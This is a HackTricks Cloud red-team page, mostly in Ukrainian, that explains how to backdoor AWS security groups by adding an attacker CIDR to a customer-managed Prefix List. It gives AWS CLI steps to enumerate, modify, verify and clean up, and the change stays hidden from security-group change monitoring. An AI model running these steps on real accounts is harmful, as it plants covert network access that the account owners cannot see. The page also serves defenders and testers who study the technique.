AWS - Security Group Backdoor via Managed Prefix Lists
Reading time: 3 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Резюме
Зловживання customer-managed Prefix Lists для створення прихованого шляху доступу. Якщо правило security group (SG) посилається на managed Prefix List, будь-хто з можливістю змінювати цей список може тихо додати attacker-controlled CIDRs. Кожен SG (і потенційно Network ACL або VPC endpoint), який посилається на список, відразу дозволяє нові діапазони без видимих змін у SG.
Вплив
- Миттєве розширення дозволених IP-діапазонів для всіх SG, що посилаються на Prefix List, обходячи контролі змін, які моніторять лише редагування SG.
- Дозволяє створювати стійкі ingress/egress backdoors: тримає шкідливий CIDR прихованим у Prefix List, поки правило SG виглядає незмінним.
Вимоги
- IAM permissions:
ec2:DescribeManagedPrefixListsec2:GetManagedPrefixListEntriesec2:ModifyManagedPrefixListec2:DescribeSecurityGroups/ec2:DescribeSecurityGroupRules(щоб ідентифікувати прикріплені SG)- Необов'язково:
ec2:CreateManagedPrefixListякщо створюється новий для тестування. - Середовище: щонайменше одне правило SG, що посилається на цільовий customer-managed Prefix List.
Змінні
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"
Кроки атаки
- Перелічити потенційні prefix lists та їхніх споживачів
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table
aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'
Use aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID, щоб підтвердити, які правила SG залежать від цього prefix list.
- Додати attacker CIDR до prefix list
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
- Перевірте поширення на групи безпеки
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table
Трафік з $ENTRY_CIDR тепер дозволено скрізь, де посилаються на список префіксів (зазвичай у вихідних правилах на проксі вихідного трафіку або у вхідних правилах для спільних сервісів).
Докази
get-managed-prefix-list-entriesвідображає CIDR зловмисника та опис.describe-security-group-rulesвсе ще показує початкове правило SG, яке посилається на список префіксів (зміни в SG не зафіксовано), однак трафік з нового CIDR проходить.
Очищення
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud